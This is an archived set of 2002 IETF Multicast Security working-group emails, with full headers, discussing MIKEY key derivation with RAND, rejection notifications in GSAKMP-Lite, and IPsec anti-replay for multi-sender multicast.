        karl.norrman@era.ericsson.se, elisabetta.carrara@era.ericsson.se,
        jari.arkko@ericsson.com
Subject: RE: [MSEC] MIKEY-03 - some feedback
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: msec-admin@securemulticast.org
Errors-To: msec-admin@securemulticast.org
X-BeenThere: msec@securemulticast.org
X-Mailman-Version: 2.0
Precedence: bulk
List-Help: <mailto:msec-request@securemulticast.org?subject=help>
List-Post: <mailto:msec@securemulticast.org>
List-Subscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=subscribe>
List-Id: IETF Multicast Security (MSEC) WG list <msec.securemulticast.org>
List-Unsubscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=unsubscribe>
List-Archive: <http://www.pairlist.net/pipermail/msec/>
Date: Wed, 24 Jul 2002 11:32:37 +0200
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id JAA15124

Mats,

thanks a  lot for the clarification. I fully agree. It was my oversight that
RAND is an input parameter to the key gen procedure, and thus I saw RAND
only isolated within the message without relationship to anything else;
sorry about that.

With kind regards

Martin Euchner.
-----------------------------------------------------------------------
| Dipl.-Inf.                     Rapporteur Q.G/SG16
| Martin Euchner                 Phone: +49 89 722 55790
| Siemens AG.....................Fax  : +49 89 722 47713
| ICN M SR 3                     mailto:Martin.Euchner@icn.siemens.de
|                                mailto:martin.euchner@ties.itu.int
| Hofmannstr. 51                 Intranet:
http://intranet.icn.siemens.de/marketing/cs27/topics/security/
| D-81359 Muenchen               Internet: http://www.siemens.de/
| __________________
| Germany     
-----------------------------------------------------------------------

 -----Original Message-----
From: 	Mats Näslund [mailto:mats.naslund@era.ericsson.se] 
Sent:	Tuesday, July 23, 2002 8:02 PM
To:	Euchner Martin  ICN M SR 3
Cc:	Fredrik Lindholm; msec@securemulticast.org; Mats Näslund;
karl.norrman@era.ericsson.se; elisabetta.carrara@era.ericsson.se;
jari.arkko@ericsson.com
Subject:	Re: [MSEC] MIKEY-03 - some feedback


Hi Martin,

Euchner Martin ICN M SR 3 wrote:
> 
> Mats,
> 
> thanks a lot for your helpful explanations. You may want to consider
stating
> some rationale at least in the security consideration section, as I assume
> that the arguments are not that obvious to everyone.

I support that. 
 
> Another question relates to why the Diffie-Hellman protocol uses a RAND
> value upon the request but not on the response. So does the RAND really
> contribute any security there? Ideally, the DH-half key DHi should be
> already random, assuming the xi is random. So why have two random fields

Note: even if g^x and g^y are each perfectly random, this does *not*
imply
that g^(xy) is perfectly random, relative to someone observing g^x, g^y, 
see below.

> there (there is nothing wrong with having multiple random values in a
> message of course)?

Take a look in Sect 4.1.4 and you will see how the RAND enters
the key generation. As you said, the RAND is there to protect against
offline
precomputation attacks, which might limit the effective key size
to half that of the TGK. Now, if the TGK is the output of a DH exchange,
it will typically be much larger than 256 bits, so even off-line
collision 
attacks would still have complexity > 2^128. On the other hand, it is
well-known that a, say 1024 bit DH key, generally has much lower entropy
than 1024 bits. For instance, if either g^x or g^y is a quadratic
residue, then
g^(xy) will automatically be a "square" too, and hence, g^x and g^y does
"leak"
information on g^(xy). Therefore, it feels uncomfortable to treat the DH
case
differently from the other two cases, "trusting" the extra entropy to be
there, 
and a uniform treatment of all three cases seems more attractive.

As for the second part of your question, it might be argued that the
initator
controlling RAND is non-symmetric since he alone controls RAND. Still,
he
does not control "your" g^y, and anyway, if you don't trust the
initator, you
should not share keys with him...  

> 
> I have one more clarifying question/response added below inline.

[snip], OK.

> 
>  -----Original Message-----
> From:   Mats Näslund [mailto:mats.naslund@era.ericsson.se]
> Sent:   Tuesday, July 23, 2002 3:34 PM
> To:     Fredrik Lindholm
> Cc:     msec@securemulticast.org; Euchner Martin  ICN M SR 3; Mats
Näslund;
> karl.norrman@era.ericsson.se; elisabetta.carrara@era.ericsson.se;
> jari.arkko@ericsson.com
> Subject:        Re: [MSEC] MIKEY-03 - some feedback
> 
> It is true that in some circumstances, updating the TGK without a new
> RAND
> does decrease the *total* effective key size for the keys *together*.
> This assumes
> that you are using transforms for which it is easy to detect key
> collsions, and,
> that the underlying cryptographic protocol itself does not add "nonces"
> in transforms
> (as e.g. SRTP does).
> 
> MEU:> So it appears that there is a certain linkage to the data security
> protocol underneath. Depending on those properties, there are cases where
to
> better use the RAND than to leave that field out. Is that what you're
> saying?

There are protocols that might (to some extent) "make up" for lost key
entropy, 
yes. In fact, much of the key derivation functionality in MIKEY is
strictly
not needed if you use it with SRTP. For instance, MIKEY can split a key
into
an encryption key and an authentication key, but SRTP can do that too.
The reason for this is that perhaps someone is using SRTP without MIKEY,
or,
someone is using MIKEY without SRTP, and thus these options seem good to
have. We certainly don't want to *force* an SRTP implemntation to use
MIKEY.

MEU: ok, that sounds very reasonable.


Cheers

/Mats

_______________________________________________
msec mailing list
msec@securemulticast.org
http://www.pairlist.net/mailman/listinfo/msec


From msec-admin@securemulticast.org  Wed Jul 24 10:22:52 2002
Received: from pairlist.net (pairlist.net [216.92.1.92])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA18551
	for <msec-archive@odin.ietf.org>; Wed, 24 Jul 2002 10:22:51 -0400 (EDT)
Received: from pairlist.net (localhost.pair.com [127.0.0.1])
	by pairlist.net (Postfix) with ESMTP
	id F2E40537B5; Wed, 24 Jul 2002 10:21:16 -0400 (EDT)
Delivered-To: msec@pairlist.net
Received: from klesh.pair.com (klesh.pair.com [209.68.2.45])
	by pairlist.net (Postfix) with SMTP id 3336E53789
	for <msec@lists.securemulticast.org>; Wed, 24 Jul 2002 10:20:56 -0400 (EDT)
Received: (qmail 52305 invoked by uid 3269); 24 Jul 2002 14:23:03 -0000
Delivered-To: ietfsmug-securemulticast:org-msec@securemulticast.org
Received: (qmail 52299 invoked from network); 24 Jul 2002 14:23:02 -0000
Received: from mail4.messagelabs.com (212.125.75.12)
  by klesh.pair.com with SMTP; 24 Jul 2002 14:23:02 -0000
X-VirusChecked: Checked
Received: (qmail 2466 invoked from network); 24 Jul 2002 14:22:30 -0000
Received: from porgy.logica.co.uk (158.234.250.67)
  by server-22.tower-4.messagelabs.com with SMTP; 24 Jul 2002 14:22:30 -0000
Received: from mauchly.logica.co.uk (mauchly.logica.co.uk [158.234.72.16])
	by porgy.logica.co.uk (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id PAA24667
	for <msec@securemulticast.org>; Wed, 24 Jul 2002 15:22:30 +0100
Received: by mauchly.logica.co.uk with Internet Mail Service (5.5.2653.19)
	id <PH3AGGVD>; Wed, 24 Jul 2002 15:22:29 +0100
Message-ID: <ABDA876D71F9D211B39D0090274EA8E20917C67F@Floyd.logica.co.uk>
From: "Kenny, Gavin (Space)" <KennyGA@logica.com>
To: "'msec@securemulticast.org'" <msec@securemulticast.org>
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Subject: [MSEC] Addition to GSAKMP-Lite
Sender: msec-admin@securemulticast.org
Errors-To: msec-admin@securemulticast.org
X-BeenThere: msec@securemulticast.org
X-Mailman-Version: 2.0
Precedence: bulk
List-Help: <mailto:msec-request@securemulticast.org?subject=help>
List-Post: <mailto:msec@securemulticast.org>
List-Subscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=subscribe>
List-Id: IETF Multicast Security (MSEC) WG list <msec.securemulticast.org>
List-Unsubscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=unsubscribe>
List-Archive: <http://www.pairlist.net/pipermail/msec/>
Date: Wed, 24 Jul 2002 15:22:23 +0100

Hi,

I am looking at using GSAKMP-Lite to secure multicast
transmissions over satellite and from going through
the RFC, there does not seem to be any rejection
notification sent to the client should it's request to
join be turned down. I appreciate that in some
circumstances you don't want to give away any more
information than you have to, but for my application
where messages may get lost or corrupted due to the
transmission medium it would be nice to have a
mechanism that supplied positive feedback. 

Such feedback could also be used to encourage the client to
pay for a service. i.e. "You are rejected", the client
would know this is because it hasn't paid a membership
fee, it could then initiate a payment mechanism and
reapply to join.

I recognise that GSAKMP supplies such a mechanism via
the notification payload (e.g. unauthorized request),
but I couldn't see this in GSAKMP-Lite, which would be
better for satellite use, due to the reduced number of
exchanges. I was wondering what the views of the list
were on this. 

regards,

Gavin

This e-mail and any attachment is for authorised use by the intended recipient(s) only.  It may contain proprietary material, confidential information and/or be subject to legal privilege.  It should not be copied, disclosed to, retained or used by, any other party.  If you are not an intended recipient then please promptly delete this e-mail and any attachment and all copies and inform the sender.  Thank you.

_______________________________________________
msec mailing list
msec@securemulticast.org
http://www.pairlist.net/mailman/listinfo/msec


From msec-admin@securemulticast.org  Wed Jul 24 12:57:49 2002
Received: from pairlist.net (pairlist.net [216.92.1.92])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA23793
	for <msec-archive@odin.ietf.org>; Wed, 24 Jul 2002 12:57:43 -0400 (EDT)
Received: from pairlist.net (localhost.pair.com [127.0.0.1])
	by pairlist.net (Postfix) with ESMTP
	id 1171D5358A; Wed, 24 Jul 2002 12:56:05 -0400 (EDT)
Delivered-To: msec@pairlist.net
Received: from klesh.pair.com (klesh.pair.com [209.68.2.45])
	by pairlist.net (Postfix) with SMTP id A0D515356D
	for <msec@lists.securemulticast.org>; Wed, 24 Jul 2002 12:55:58 -0400 (EDT)
Received: (qmail 72928 invoked by uid 3269); 24 Jul 2002 16:58:05 -0000
Delivered-To: ietfsmug-securemulticast:org-msec@securemulticast.org
Received: (qmail 72925 invoked from network); 24 Jul 2002 16:58:05 -0000
Received: from m5.sparta.com (root@157.185.61.1)
  by klesh.pair.com with SMTP; 24 Jul 2002 16:58:05 -0000
Received: from columbia.sparta.com (columbia.sparta.com [157.185.80.205])
	by M5.sparta.com (8.12.3/8.12.3) with ESMTP id g6OGvWGX022206;
	Wed, 24 Jul 2002 11:57:48 -0500
Received: from robin (robin.columbia.sparta.com [157.185.80.228])
	by columbia.sparta.com (8.9.1a/8.9.1) with ESMTP id MAA25047;
	Wed, 24 Jul 2002 12:57:30 -0400 (EDT)
Message-Id: <4.2.2.20020724124602.013e9c80@pop.columbia.sparta.com>
X-Sender: hh@pop.columbia.sparta.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 
To: "Kenny, Gavin (Space)" <KennyGA@logica.com>
From: Hugh Harney <hh@sparta.com>
Subject: Re: [MSEC] Addition to GSAKMP-Lite
Cc: msec@securemulticast.org
In-Reply-To: <ABDA876D71F9D211B39D0090274EA8E20917C67F@Floyd.logica.co.u
 k>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: msec-admin@securemulticast.org
Errors-To: msec-admin@securemulticast.org
X-BeenThere: msec@securemulticast.org
X-Mailman-Version: 2.0
Precedence: bulk
List-Help: <mailto:msec-request@securemulticast.org?subject=help>
List-Post: <mailto:msec@securemulticast.org>
List-Subscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=subscribe>
List-Id: IETF Multicast Security (MSEC) WG list <msec.securemulticast.org>
List-Unsubscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=unsubscribe>
List-Archive: <http://www.pairlist.net/pipermail/msec/>
Date: Wed, 24 Jul 2002 12:57:21 -0400

Gavin,

I looked into the reference code and our RFC for GSAKMP. I think we need to 
clarify the I-D to ensure rejection notifications are allowed. I'm not sure 
if they have to be mandatory. It was my intention to allow them.

I'd like to hear the lists opinion about making rejection notifications 
mandatory or optional.

We are working on the next revision of the spec. I'll make sure to include 
a discussion about rejection notifications.

I see you point in using rejection notifications to spur a customer to 
action. Well, spur an automatic agent to action.

Hugh



At 03:22 PM 7/24/02 +0100, you wrote:
>Hi,
>
>I am looking at using GSAKMP-Lite to secure multicast
>transmissions over satellite and from going through
>the RFC, there does not seem to be any rejection
>notification sent to the client should it's request to
>join be turned down. I appreciate that in some
>circumstances you don't want to give away any more
>information than you have to, but for my application
>where messages may get lost or corrupted due to the
>transmission medium it would be nice to have a
>mechanism that supplied positive feedback.
>
>Such feedback could also be used to encourage the client to
>pay for a service. i.e. "You are rejected", the client
>would know this is because it hasn't paid a membership
>fee, it could then initiate a payment mechanism and
>reapply to join.
>
>I recognise that GSAKMP supplies such a mechanism via
>the notification payload (e.g. unauthorized request),
>but I couldn't see this in GSAKMP-Lite, which would be
>better for satellite use, due to the reduced number of
>exchanges. I was wondering what the views of the list
>were on this.
>
>regards,
>
>Gavin
>
>This e-mail and any attachment is for authorised use by the intended 
>recipient(s) only.  It may contain proprietary material, confidential 
>information and/or be subject to legal privilege.  It should not be 
>copied, disclosed to, retained or used by, any other party.  If you are 
>not an intended recipient then please promptly delete this e-mail and any 
>attachment and all copies and inform the sender.  Thank you.
>
>_______________________________________________
>msec mailing list
>msec@securemulticast.org
>http://www.pairlist.net/mailman/listinfo/msec

________________________________________________________
Hugh Harney		hh@sparta.com		410-381-9400 x203
________________________________________________________


_______________________________________________
msec mailing list
msec@securemulticast.org
http://www.pairlist.net/mailman/listinfo/msec


From msec-admin@securemulticast.org  Wed Jul 24 14:17:46 2002
Received: from pairlist.net (pairlist.net [216.92.1.92])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA26351
	for <msec-archive@odin.ietf.org>; Wed, 24 Jul 2002 14:17:45 -0400 (EDT)
Received: from pairlist.net (localhost.pair.com [127.0.0.1])
	by pairlist.net (Postfix) with ESMTP
	id 19BC9536C3; Wed, 24 Jul 2002 14:16:06 -0400 (EDT)
Delivered-To: msec@pairlist.net
Received: from klesh.pair.com (klesh.pair.com [209.68.2.45])
	by pairlist.net (Postfix) with SMTP id 4B1D153696
	for <msec@lists.securemulticast.org>; Wed, 24 Jul 2002 14:13:18 -0400 (EDT)
Received: (qmail 84269 invoked by uid 3269); 24 Jul 2002 18:15:23 -0000
Delivered-To: ietfsmug-securemulticast:org-msec@securemulticast.org
Received: (qmail 84266 invoked from network); 24 Jul 2002 18:15:22 -0000
Received: from m5.sparta.com (root@157.185.61.1)
  by klesh.pair.com with SMTP; 24 Jul 2002 18:15:22 -0000
Received: from charlie.columbia.sparta.com (charlie.columbia.sparta.com [157.185.80.121])
	by M5.sparta.com (8.12.3/8.12.3) with ESMTP id g6OIFLGX025101
	for <msec@securemulticast.org>; Wed, 24 Jul 2002 13:15:22 -0500
Received: (from umeth@localhost)
	by charlie.columbia.sparta.com (8.11.6/8.11.6) id g6OIFFV04275
	for msec@securemulticast.org; Wed, 24 Jul 2002 14:15:15 -0400
From: Uri Meth <umeth@columbia.sparta.com>
To: msec@securemulticast.org
Subject: Re: [MSEC] Addition to GSAKMP-Lite
Message-ID: <20020724141515.A4164@charlie.columbia.sparta.com>
Reply-To: umeth@sparta.com
References: <4.2.2.20020724131620.013d4c50@pop.columbia.sparta.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <4.2.2.20020724131620.013d4c50@pop.columbia.sparta.com>; from hh@sparta.com on Wed, Jul 24, 2002 at 01:16:25PM -0400
Organization: SPARTA Inc. (Secure Systems Engineering Division)
USMail: 9861 Broken Land Parkway, Suite 300, Columbia MD 21046
Phone: (410) 381-9400 x233
Fax: (410) 381-5559
Sender: msec-admin@securemulticast.org
Errors-To: msec-admin@securemulticast.org
X-BeenThere: msec@securemulticast.org
X-Mailman-Version: 2.0
Precedence: bulk
List-Help: <mailto:msec-request@securemulticast.org?subject=help>
List-Post: <mailto:msec@securemulticast.org>
List-Subscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=subscribe>
List-Id: IETF Multicast Security (MSEC) WG list <msec.securemulticast.org>
List-Unsubscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=unsubscribe>
List-Archive: <http://www.pairlist.net/pipermail/msec/>
Date: Wed, 24 Jul 2002 14:15:15 -0400

Gavin,

You raise 2 issues in your post:
  a) The ID does not discuss if and when a rejection notification is
     sent.
  b) Should a rejection notification be sent if the request to join
     is turned down.

In response to (a) that the ID does not discuss if and when to send a
rejection notification, it is correct that this discussion was left
out.  Please refer to draft-ietf-msec-gsakmp-sec-01.txt, the RFC for
GSAKMP (not GSAKMP-Lite), in sections 3.1 Group Establishment and 3.2
Group Maintenance where this discussion can be found.  It seems from
the question, that a similar discussion detailing the exchange would be
beneficial in the GSAKMP-Lite document as well.  

As we are gearing up to update the GSAKMP-Lite document, input from the 
list on the inclusion of a similar type discussion would be greatly
appreciated.

In reference to point (b) concerning sending a rejection notification if
the request to join is turned down, the above referenced discussion
stated that no rejection would be sent.  The only time rejection
notification was sent is if the mutually suspicious exchange had already
been initiated and an incorrect message was received, then the NACK
would be sent.  From the GSAKMP-Lite perspective, the only time a NACK
should/would be sent is for rejected messages starting with the
Light-Key-Download.  The concern was that if rejection notifications
were sent for a rejected request to join, this could potentially be a
Denial of Service attack against the host containing the Group
Controller in that in addition to processing the message, the Group
Controller would also be required to respond to the message.  Also, if
the initial request to join had been built with incorrect information as
to the identification of the sender, the Group Controller host would be
sending the rejection notification back to an unsuspecting host draining
it's resources.
Can it be shown that this would not be a DoS attack?  If so, then a
rejection notification can be sent back upon rejection of the request to
join without affecting performance.

UM

>Date: Wed, 24 Jul 2002 15:22:23 +0100
>
>Hi,
>
>I am looking at using GSAKMP-Lite to secure multicast
>transmissions over satellite and from going through
>the RFC, there does not seem to be any rejection
>notification sent to the client should it's request to
>join be turned down. I appreciate that in some
>circumstances you don't want to give away any more
>information than you have to, but for my application
>where messages may get lost or corrupted due to the
>transmission medium it would be nice to have a
>mechanism that supplied positive feedback.
>
>Such feedback could also be used to encourage the client to
>pay for a service. i.e. "You are rejected", the client
>would know this is because it hasn't paid a membership
>fee, it could then initiate a payment mechanism and
>reapply to join.
>
>I recognise that GSAKMP supplies such a mechanism via
>the notification payload (e.g. unauthorized request),
>but I couldn't see this in GSAKMP-Lite, which would be
>better for satellite use, due to the reduced number of
>exchanges. I was wondering what the views of the list
>were on this.
>
>regards,
>
>Gavin
>
>This e-mail and any attachment is for authorised use by the intended 
>recipient(s) only.  It may contain proprietary material, confidential 
>information and/or be subject to legal privilege.  It should not be 
>copied, disclosed to, retained or used by, any other party.  If you are 
>not an intended recipient then please promptly delete this e-mail and any 
>attachment and all copies and inform the sender.  Thank you.
>
>_______________________________________________
>msec mailing list
>msec@securemulticast.org
>http://www.pairlist.net/mailman/listinfo/msec

-- 
Uri Meth                            (410) 381 - 9400 x233 (voice)
SPARTA, Inc.                        (410) 381 - 5559      (fax)
9861 Broken Land Parkway, Suite 300 umeth@sparta.com
Columbia, MD  21046

_______________________________________________
msec mailing list
msec@securemulticast.org
http://www.pairlist.net/mailman/listinfo/msec


From msec-admin@securemulticast.org  Mon Jul 29 06:49:16 2002
Received: from pairlist.net (pairlist.net [216.92.1.92])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA23315
	for <msec-archive@odin.ietf.org>; Mon, 29 Jul 2002 06:49:11 -0400 (EDT)
Received: from pairlist.net (localhost.pair.com [127.0.0.1])
	by pairlist.net (Postfix) with ESMTP
	id B819053565; Mon, 29 Jul 2002 06:47:24 -0400 (EDT)
Delivered-To: msec@pairlist.net
Received: from klesh.pair.com (klesh.pair.com [209.68.2.45])
	by pairlist.net (Postfix) with SMTP id 1C7ED535C9
	for <msec@lists.securemulticast.org>; Mon, 29 Jul 2002 06:46:40 -0400 (EDT)
Received: (qmail 55454 invoked by uid 3269); 29 Jul 2002 10:48:59 -0000
Delivered-To: ietfsmug-securemulticast:org-msec@securemulticast.org
Received: (qmail 55451 invoked from network); 29 Jul 2002 10:48:59 -0000
Received: from prue.eim.surrey.ac.uk (exim@131.227.76.5)
  by klesh.pair.com with SMTP; 29 Jul 2002 10:48:59 -0000
Received: from ccsrnrpc16.ee.surrey.ac.uk ([131.227.88.65] helo=eim.surrey.ac.uk)
	by prue.eim.surrey.ac.uk with esmtp (Exim 3.33 #4)
	id 17Z850-0000GP-00; Mon, 29 Jul 2002 11:48:46 +0100
Message-ID: <3D451D84.30E23BE5@eim.surrey.ac.uk>
From: Haitham Cruickshank <H.Cruickshank@eim.surrey.ac.uk>
Organization: CCSR
X-Mailer: Mozilla 4.76 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: ipsec@lists.tislabs.com, msec@securemulticast.org
Subject: Re: [MSEC] Re: new version of ESP ID
References: <OFB89CE622.6FAAD340-ONC1256BEA.00568726@net.alcatel.be> <p05100305b9478a821778@[128.89.88.34]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Spam-Status: No, hits=-98.9 required=7.0
	tests=DOUBLE_CAPSWORD,USER_IN_WHITELIST
	version=2.31
X-Scanner: exiscan *17Z850-0000GP-00*hxSSBznRRds* (SECM, UniS)
Sender: msec-admin@securemulticast.org
Errors-To: msec-admin@securemulticast.org
X-BeenThere: msec@securemulticast.org
X-Mailman-Version: 2.0
Precedence: bulk
List-Help: <mailto:msec-request@securemulticast.org?subject=help>
List-Post: <mailto:msec@securemulticast.org>
List-Subscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=subscribe>
List-Id: IETF Multicast Security (MSEC) WG list <msec.securemulticast.org>
List-Unsubscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=unsubscribe>
List-Archive: <http://www.pairlist.net/pipermail/msec/>
Date: Mon, 29 Jul 2002 11:48:36 +0100
Content-Transfer-Encoding: 7bit

Hi Everybody,

I have attended the ipsec meeting at the ieft 54 meeting and Steve Kent has
presented some interworking problems with IP multicast.  Is it possible to
start a discussion on how to solve such problems.

I can see two major multicast problems:

1. Scalability:  For very large groups (thousands of members) or very dynamic
multicast groups (frequent join and leaves), having a single group controller
might not scale well specially for re-keying problem (changing keys when
members join or leave).  If this problems is true, then we need to have a
distributed group controller/controllers and this brings new problems which has
been discussed in some previous emails.

2. Anti-relay procedures for multiple senders:  Steve has pointed (quite
rightly) the problem that anti-replay procedures (receivers keeping track of
sequence numbers and sequence number windows) works OK for unicast or single
source multicast.  The potential problem is having unbounded number of senders,
where the ipsec receivers (especially hardware implementations) have to track
of sequence numbers and sequence number windows for each individual senders.
In my personal opinion, the anti-replay should be switched off for multi
senders.  Of course, this will weaken the security system against DOS attacks.

Can ipsec and msec people express opinion on how to solve these issues.
Thanks.

Haitham

Stephen Kent wrote:

> At 6:09 PM +0200 7/2/02, annelies.van_moffaert@alcatel.be wrote:
> >Mark and Steve,
> >
> >I am not sure I completely understand your arguments. I would think that
> >there is a difference between saying that
> >1. IPsec can only be used to protect SSM or single-source multicast groups
> >and
> >2. When using IPsec to protect multicast traffic one should use a seperate
> >SA per sender.
> >
> >In the second case there can be more than 1 sender allowed to send to the
> >same group. Both legitimate senders and receivers should then e.g.
> >authenticate to a common key server and the key server could create for
> >each sender a seperate SA. Additionally the key server would push the SAs
> >to the group of receivers.
>
> The second case would be consistent with the IPsec architecture. The
> common key server needs to assign the SPIs uniquely for the multicast
> group as well as provide keys to the group members. In this model,
> each SA has just one authorized sender and so anti-replay can be
> employed, and each receiver can use the SPD to constrain the source
> address appropriately. But, the granularity of the source
> authentication is still just the group, since each receiver also
> could send traffic claiming to be from the authorized sender.
>
> >A concrete example could be hosts that all send IGMP messages to the group
> >address to which all IGMP capable routers listen  or PIM routers that all
> >send PIM messages to the PIM group address. It could also be a multicast
> >data service with more than one legitimate source (all sources should then
> >probably be under the control of a single key server).
> >
> >Do you have scenario 1 in mind or scenario 2 or again something else?
> >
> >
> >A second question I have relates to the statement that "the receiver SHALL
> >check the source address to ensure that it is from the authorized sender".
> >Isn't this a weak check given that a source address can be spoofed by a
> >receiver who wants to impersonate the sender?
>
> It is effective for unicast SAs, but it is a less effective control
> for multicast SAs, in so far as any multicast group member has the
> requisite key material to spoof. However I do not envision changing
> this general requirement to special case multicast SAs. As noted
> earlier, if you don't feel that the check is really useful in the
> multicast context, you can set the source address to be * for these
> SAs.
>
> >Mark explained correctly my concern related to colliding SPI values when
> >independent group controllers manage SAs for the same destination address.
> >Thanks! ;-) I think this problem could be solved by adding the source
> >address to the triplet (SPI, protocol, dest IP addr).
>
> What problem? We still require coordination for SPI management on a
> per multicast group address basis, so if you want to create multiple
> SAs for the multicast group, one per sender, why not use SPIs for
> this purpose. I am hesitant, to say the least, to impose a new,
> additional burden on all IPsec implementations to use sources
> addresses for demuxing, when the same effect can be achieved using
> the SPI.
>
> Steve

--
Dr. Haitham S. Cruickshank

Senior Research Fellow in Communications
Centre for Communication Systems Research (CCSR)
School of Electronics, Computing and Mathematics
University of Surrey
Guildford, Surrey GU2 7XH, UK

Tel: +44 1483 686007 (indirect 689844)
Fax: +44 1483 686011
e-mail: H.Cruickshank@surrey.ac.uk
http://www.ee.surrey.ac.uk/Personal/H.Cruickshank/



_______________________________________________
msec mailing list
msec@securemulticast.org
http://www.pairlist.net/mailman/listinfo/msec


From msec-admin@securemulticast.org  Mon Jul 29 09:53:08 2002
Received: from pairlist.net (pairlist.net [216.92.1.92])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA00036
	for <msec-archive@odin.ietf.org>; Mon, 29 Jul 2002 09:53:06 -0400 (EDT)
Received: from pairlist.net (localhost.pair.com [127.0.0.1])
	by pairlist.net (Postfix) with ESMTP
	id 4B77F53622; Mon, 29 Jul 2002 09:51:24 -0400 (EDT)
Delivered-To: msec@pairlist.net
Received: from klesh.pair.com (klesh.pair.com [209.68.2.45])
	by pairlist.net (Postfix) with SMTP id DF82E53628
	for <msec@lists.securemulticast.org>; Mon, 29 Jul 2002 09:50:31 -0400 (EDT)
Received: (qmail 73626 invoked by uid 3269); 29 Jul 2002 13:52:51 -0000
Delivered-To: ietfsmug-securemulticast:org-msec@securemulticast.org
Received: (qmail 73623 invoked from network); 29 Jul 2002 13:52:51 -0000
Received: from m5.sparta.com (root@157.185.61.1)
  by klesh.pair.com with SMTP; 29 Jul 2002 13:52:51 -0000
Received: from columbia.sparta.com (columbia.sparta.com [157.185.80.205])
	by M5.sparta.com (8.12.3/8.12.3) with ESMTP id g6TDqhGX008566;
	Mon, 29 Jul 2002 08:52:44 -0500
Received: from robin (robin.columbia.sparta.com [157.185.80.228])
	by columbia.sparta.com (8.9.1a/8.9.1) with ESMTP id JAA09325;
	Mon, 29 Jul 2002 09:52:42 -0400 (EDT)
Message-Id: <4.2.2.20020729094726.013b78c0@pop.columbia.sparta.com>
X-Sender: hh@pop.columbia.sparta.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 
To: Haitham Cruickshank <H.Cruickshank@eim.surrey.ac.uk>,
        ipsec@lists.tislabs.com, msec@securemulticast.org
From: Hugh Harney <hh@sparta.com>
Subject: Re: [MSEC] Re: new version of ESP ID
In-Reply-To: <3D451D84.30E23BE5@eim.surrey.ac.uk>
References: <OFB89CE622.6FAAD340-ONC1256BEA.00568726@net.alcatel.be>
 <p05100305b9478a821778@[128.89.88.34]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: msec-admin@securemulticast.org
Errors-To: msec-admin@securemulticast.org
X-BeenThere: msec@securemulticast.org
X-Mailman-Version: 2.0
Precedence: bulk
List-Help: <mailto:msec-request@securemulticast.org?subject=help>
List-Post: <mailto:msec@securemulticast.org>
List-Subscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=subscribe>
List-Id: IETF Multicast Security (MSEC) WG list <msec.securemulticast.org>
List-Unsubscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=unsubscribe>
List-Archive: <http://www.pairlist.net/pipermail/msec/>
Date: Mon, 29 Jul 2002 09:51:56 -0400

Haitham,

I tend to agree with Steve. Large groups or dynamic groups will need 
distributed key and security management. I'd point out that GSAKMP (heavy 
and Lite) allow for distribution of the key and security management functions.

One of the key points to setting up distributed management for large groups 
is ensuring that the system is secure. GSAKMP does this by incorporating a 
policy token in the key exchanges.

On your second point anti-replay. I think the decision to switch off that 
feature is dependant on the system your protecting. In many cases, I'd do 
as you suggested, turn off the anti-replay. However, it depends on the 
threats to the system.

Hugh

________________________________________________________
Hugh Harney		hh@sparta.com		410-381-9400 x203
________________________________________________________


_______________________________________________
msec mailing list
msec@securemulticast.org
http://www.pairlist.net/mailman/listinfo/msec


From msec-admin@securemulticast.org  Mon Jul 29 11:12:20 2002
Received: from pairlist.net (pairlist.net [216.92.1.92])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA03296
	for <msec-archive@odin.ietf.org>; Mon, 29 Jul 2002 11:12:19 -0400 (EDT)
Received: from pairlist.net (localhost.pair.com [127.0.0.1])
	by pairlist.net (Postfix) with ESMTP
	id B8AF85373D; Mon, 29 Jul 2002 11:09:27 -0400 (EDT)
Delivered-To: msec@pairlist.net
Received: from klesh.pair.com (klesh.pair.com [209.68.2.45])
	by pairlist.net (Postfix) with SMTP id C7D33536FF
	for <msec@lists.securemulticast.org>; Mon, 29 Jul 2002 11:07:40 -0400 (EDT)
Received: (qmail 83262 invoked by uid 3269); 29 Jul 2002 15:10:00 -0000
Delivered-To: ietfsmug-securemulticast:org-msec@securemulticast.org
Received: (qmail 83259 invoked from network); 29 Jul 2002 15:10:00 -0000
Received: from prue.eim.surrey.ac.uk (exim@131.227.76.5)
